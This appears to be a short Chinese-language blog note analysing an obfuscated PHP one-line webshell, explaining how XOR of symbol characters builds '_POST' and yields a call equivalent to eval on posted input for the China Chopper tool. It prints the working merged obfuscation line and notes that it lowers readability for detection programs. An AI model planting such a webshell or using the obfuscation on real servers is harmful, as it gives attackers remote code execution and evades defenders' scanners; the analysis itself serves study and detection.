'webshell代码分析'
一句话木马
^代表异或
PHP中对两个变量进行异或时,会先将字符串转换成ASCII码,再转化成二进制再进行异或,异或完后结果从二进制转换为ASCII码,再转换回字符串
异或对比中,相同为0,不同为1
第二行:$代表一个变量,$++ 在此代码中代表 1
第三行: #的ASCII码为35,二进制为0010 0011
|的ASCII码位124,二进制为0111 1100
通过异或得出二进制编码为0101 1111 搜索代表下划线_
第四行: .的ASCII码为46,二进制为0010 1110
~的ASCII码为126,二进制为0111 1110
通过异或得出二进制编码为0101 0000 搜索为大写P
以此类推
第五行为:O 0010 1111和0110 0000通过异或得0100 1111
第六行为:S
第七行为:T
第八行解析:
1 | $_POST[ 0 ]($_POST[ 1 ]); |
!$_ 中!代表非,所以非1即0;
(我理解的是代码中括号外面的$_POST[0]充当一句话中的执行eval,括号中$_POST[1]为POST语句,所以菜刀密码为1)
实际应用中可合并代码为
1 | $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); |
从而使检测程序的可读性变差